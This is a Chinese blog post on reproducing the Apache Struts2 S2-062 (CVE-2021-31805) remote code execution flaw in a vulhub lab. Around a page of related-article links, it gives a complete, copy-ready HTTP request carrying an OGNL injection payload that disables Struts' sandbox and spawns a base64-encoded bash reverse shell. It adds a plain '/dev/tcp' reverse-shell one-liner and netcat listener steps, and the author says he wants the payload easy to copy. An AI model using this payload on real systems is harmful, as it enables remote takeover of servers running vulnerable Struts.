apache struct2 /java 漏洞 s2-062复现

渗透测试工具箱 -- BerylEnigma 一个CTF+渗透测试工具包,主要实现一些常用的加密与编码功能,在软件使用过程中发现问题或建议欢迎提交 issue,也欢迎提交新功能需求。前身为CryptionTool,为更方便的开发更换框架重构。软件基于JDK17开发,使用JAVAFX UI框架以及JFoenixUI组件架构。2、文本操作工具​​​​​​​。3、红队用工具​​​​​​​。编码:​​​​​​​。 阅读详情

本文只针对有经验者,新手建议还是多看看其它资料, 先把基础打好.

玩了几次这漏洞, 但都有时记不住payload, 查了百度, 都是各种抄, 还是很多坑. 翻github源码呢, 又很多\r\n, 累得要死, 故自己动手做一个百分百可用的, 同时写一篇文章给渗透工程师们参考,本文仅提出关键几点

1.靶场:

vulhub/struts2/s2-061 (62是61没修复完产生的, 可直接用)

2. vi docker-compose.yml 改一下8080端口, 以免与其它Docker冲突

 - "18080:8080"

docker-compose up -d
docker ps 看一下是否正常

3. 使用 bp

POST /index.action HTTP/1.1 (切换成POST)
//

中间略去

//
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=Dontjustcopywithouttellingothersthesourceofthearticle:flyingwind2000.node0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Length: 1195


------WebKitFormBoundaryl7d1B1aGsV2wcZwF
Content-Disposition: form-data; name="id"

%{
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTky**我是小风***g4ODkgMD4mMQ==}|{base64,-d}|{bash,-i}'}))
}
------WebKitFormBoundaryl7d1B1aGsV2wcZwF

关键几点: 

1. Content-Type:别漏了改, 这是个大坑

2. exec: 替换成自己的SHELL, 简单的就直接用whoami使用

bash -i  >& /dev/tcp/192.168.0.10/8889 0>&1  (IP与自己的NC对应)

(还有很多种方式, 这是就不一一列出来了, perl , python 等 )

3. 绕过: 把上面BASE64后,得到ENCODE值,替换那堆数据 

{'bash -c {echo,YmFzaCAtaSAgPildi90Y***小风**LjE2OC4wLjIyLzg4ODkgMD4mMQ==}|{base64,-d}|{bash,-i}'}))

4. 自己在另一台接的机器上起nc 等反弹

nc -lvp 8889 (对应上面的IP)

** 其它几个可以参考的工具

1.GitHub - YanMu2020/s2-062: 远程代码执行S2-062 CVE-2021-31805验证POC

2.比较值得COPY的PAYLOAD https://github.com/Axx8/Struts2_S2-062_CVE-2021-31805/blob/main/Struts2_S2-062_CVE-2021-31805.py

3.觉得还不错的工具

https://github.com/ffffffff0x/BerylEnigma

https://github.com/ffffffff0x/BerylEnigma/releases/download/1.11.1/BE-BerylEnigma-win.zip

图就不上了, 最讨厌只给图还不能复制,相煎何太急, 写文章不就是让大家方便复制嘛.

特别感谢前辈们无私的贡献. 本人也是个开发线上的老鸟, 各种开发语言都懂, 知识面还算挺广,  但安全方面就不算专家了,算是后辈, 但非常感兴趣, 请各位不吝指导. 一直懒得去写文章. 账号忘记密码很久没有用,今天csdn客服热情帮我找回来. 以后抽空多写一下吧, 回馈曾经帮助过我的那些网络上的无名前辈与过客. 希望您也能无私帮助他人,别学我这么懒. :^-^) 

ANSYS Maxwell:从RMxprt到3D轴向磁通电机的无缝建模指南 本文详细介绍了如何利用ANSYS RMxprt作为高效起点,快速构建3D轴向磁通电机的有限元分析模型。通过RMxprt内置模板输入关键参数并完成磁路法计算后,可一键生成包含几何、材料、绕组及边界条件的即用型Maxwell 3D模型,极大简化了复杂三维结构的建模流程,使工程师能专注于性能优化与仿真分析。 阅读详情

相关推荐

北航机器学习2020-2021秋季学期期末试题回忆

北航机器学习2020-2021秋季学习期末试题回忆 fanjn, zhangyy, yuanq, wanggq, weixy, anh, wangyy, zhouxy, likc1 【注:考试使用纯白的A3答题纸,考试时间2h,各位同学可以自行模拟考试】 此试卷1-8题为10分,第9题为20分 1.2077年人类发射近地卫星,一共发射800颗,根据大小和轨道远近,有着不同的宜居条件(+表示宜居),有以下表格(数字八九不离十,其他属性什么的原题就是交替的) 数量 大小 轨道 是否宜居 30

weixin_45262065的博客 7555

Struts2 S2-062(CVE-2021-31805)漏洞分析及复现

简介 2022年4月12日,Apache发布安全公告,修复了一个Apache Struts2 中的远程代码执行漏洞S2-062(CVE-2021-31805),攻击者可以利用此漏洞来控制受影响的系统。该漏洞是由于 2020 年 S2-061(CVE-2020-17530)的不完整修复造成的,当开发人员使用了 %{…} 语法进行强制OGNL解析时,仍有一些特殊的TAG属性可被二次解析,攻击者可构造恶意的OGNL表达式触发漏洞,从而实现远程代码执行。 影响范围 2.0.0 <= Apache Struts

江左盟的博客 3万+

漏洞复现】Struts2 S2-062 (CVE-2021-31805) 远程代码执行漏洞

文章目录声明前言一、漏洞描述二、漏洞原理三、影响版本四、安全版本五、漏洞细节分析六、本地复现七、漏洞修复 声明 本篇文章仅用于技术研究和漏洞复现,切勿从事非法渗透,造成任何影响与本作者无关,切记! 前言 Apache 官方发布了 Apache Struts2 的风险通告,漏洞编号为 CVE-2021-31805,可能会导致远程代码执行。 一、漏洞描述 此次 Apache Struts2 漏洞为 CVE-2020-17530 ( S2-061 )的修复不完整,导致输入验证不正确。 如果开发人员使用%{…}

李同學AI安全 3906

Controlnet QR Code Monster v2与元宇宙结合:虚拟世界中的二维码应用

Controlnet QR Code Monster v2是一款强大的AI二维码生成工具,它能够将传统二维码与创意设计完美融合,为元宇宙虚拟世界带来全新的信息交互体验。该工具基于Stable Diffusion技术,通过精确的控制网络算法,让二维码在保持高识别率的同时,呈现出极具视觉冲击力的艺术效果。 ## 元宇宙中二维码的创新应用场景 在元宇宙虚拟空间中,二维码不再局限于平面图像的形式,而是

gitblog_00037的博客 592

漏洞复现】vulhub struts2/s2-062

Struts 2 最初被称为 WebWork 2,它是一个简洁的、可扩展的框架,可用于创建企业级Java web应用框架。设计这个框架是为了从构建、部署、到应用程序维护方面来简化整个开发周期。Struts 2 是一个基于MVC设计模式MVC模型 --- 属于软件设计模式的底层基础,主要负责数据维护。视图 --- 这部分是负责向用户呈现全部或部分数据。控制器 --- 通过软件代码控制模型和视图之间的交互。

qq_46421742的博客 652

Apache Struts是什么?高效实现应用程序控制器

Apache Struts是什么?高效实现应用程序控制器

杨荧的CSDN博客 3634

S2-062 远程命令执行漏洞复现(cve-2021-31805)

S2-062 远程命令执行(cve-2021-31805) 0x00 漏洞描述 该漏洞由于对CVE-2020-17530的修复不完整造成的,CVE-2020-17530漏洞是由于Struts2 会对某些标签属性(比如id) 的属性值进行二次表达式解析,因此当这些标签属性中使用了 %{x} 且 其中x 的值用户可控时,用户再传入一个 %{payload} 即可造成OGNL表达式执行。在CVE-2021-31805漏洞中,仍然存在部分标签属性会造成攻击者恶意构造的OGNL表达式执行,导致远程代码执行。 0x01

box 7913

BerylEnigma 项目常见问题解决方案

BerylEnigma 是一个用于渗透测试、密码学研究和 CTF(Capture The Flag)竞赛的工具集。该项目主要实现了一些常见的加密和编码功能,旨在帮助用户在渗透测试和密码学研究中快速实现所需功能。项目基于 JDK17 开发,使用了 JAVAFX UI 框架和 JFoenix UI 组件架构。 ## 主要编程语言 该项目主要使用 Java 编程语言进行开发。 ## 新手使用注意事

gitblog_00220的博客 803

一个CTF+渗透测试工具包|渗透工具

文章中的案例或工具仅面向合法授权的企业安全建设行为,如您需要测试内容的可用性,请自行搭建靶机环境,勿用于非法行为。如用于其他用途,由使用者承担全部法律及连带责任,与作者和本公众号无关。本项目所有收录的poc均为漏洞的理论判断,不存在漏洞利用过程,不会对目标发起真实攻击和漏洞利用。文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用。如您在使用本工具或阅读文章的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。

Javachichi的博客 1332

【亲测免费】 BerylEnigma 开源项目使用教程

BerylEnigma 项目的目录结构如下: ``` BerylEnigma/ ├── src/ │ ├── main/ │ │ ├── java/ │ │ │ ├── com/ │ │ │ │ ├── berylenigma/ │ │ │ │ │ ├── controllers/ │ │ │ │ │ ├── mod

gitblog_00095的博客 485

Struts2 s2-062 oglnRCE

Struts2框架

m0_64053653的博客 529

Struts2安全漏洞

摘要:Struts应用开发框架目前广泛应用于大型互联网企业、政府、金融机构等网站建设,并作为网站开发的底层模板使用。近日网上公布了Struts一个严重的命令执行漏洞,在我国互联网环境影响巨大,本文将对这个漏洞进行分析和描述。 Struts是Apache软件基金会Jakarta项目组的一个开源项目,它采用MVC模式,帮助java开发者利用J2EE开发Web应用。目前,Struts广泛应用于大型

solobear的专栏 7585

常见的加解密及编码总结

在凯撒密码中,每一个字母会有一定的偏移量变成另外一个字母,而维吉尼亚密码就是有多个偏移量不同的凯撒密码组成。同音替换密码(Homophonic Substitution Cipher)是单字母可以被其他几种密文字母同时替换的密码,通常要比标准替换密码破解更加困难,破解标准替换密码最简单的方法就是分析字母出现频率,通常在英语中字母’E’(或’T’)出现的频率是最高的,如果我们允许字母’E’可以同时被 3 种不同字符代替,那么就不能还是以普通字母的频率来分析破解,如果允许可代替字符越多,那么密文就会更难破译。

一颗小白菜的博客 4465

Web】CVE-2021-31805 s2-062漏洞复现学习

Struts 2 是一个流行的用于构建 Java Web 应用程序的开源 Web 应用程序框架。它是 Apache 软件基金会下的一个顶级项目,是 Struts 框架的升级版本。Struts 2 通过 MVC(模型-视图-控制器)架构来帮助开发者构建可维护、可扩展的 Web 应用程序。

uuzeray的博客 1645

学习君github

一 冰蝎 https://github.com/rebeyond/Behinder 源代码审计漏洞 白盒测试的各种漏洞风险描述或具体修复方案 https://github.com/wooyunwang/Fortify Golang - 100天从新手到大师 https://github.com/rubyhan1314/Golang-100-Days Cobaltstrike的相关资源汇总-超详细 https://github.com/zer0yu/Awesome-CobaltStrike Shiro

qq_45300786的博客 7828

S2-057,S2-059,s2-061,s2-062漏洞复现

一、漏洞描述 当Struts2的标签属性值引用了action对象的参数值时,便会出现OGNL表达式的二次解析,从而产生RCE风险(S2-059的修复方式为只修复了沙盒绕过并没有修复OGNL表达式执行点,因为这个表达式执行触发条件过于苛刻,导致S2-061再次绕过了S2-059的沙盒) 二、影响版本 s2-057:<=Struts 2.3.34,Struts 2.5.16 s2-059:Struts 2.0.0 - Struts 2.5.20 s2-061:Struts 2.0.0-Strut

xiaobai_20190815的博客 3559

有了这个网络安全面试题,面试就像开了挂!(附PDF)

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!【完整版领取方式在文末!!​​​​内容实在太多,不一一截图了。

lvaolan的博客 2484

Struts2-062_RCE的简单复现(CVE-2021-31805)

漏洞描述:漏洞等级:高危漏洞本次漏洞复现为本地环境,使用开源靶场中的环境:输入指令:docker-compose up -d --buildsudo docker-compose up -d接下来启动漏洞扫描: 但是在我的kali2022上面出现了报错:解决办法在网上找到了一篇大佬文章:[Linux] docker 出现Got permission denied while trying to connect to the Docker daemon socket...问题的解决办法_Cloudeeee

ANYOUZHEN的博客 851

SLAM-基于LIO-SAM开发的可在构建地图上重定位机器人的系统-附完整流程教程+项目效果展示-优质项目实战.zip

SLAM_基于LIO-SAM开发的可在构建地图上重定位机器人的系统_附完整流程教程+项目效果展示_优质项目实战

下一篇: 制作持久化U盘Kali 用U盘启动 使用fluxion破解WIFI密码(上)
烈火小风
博客等级 码龄26年 13粉丝 · 3原创
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值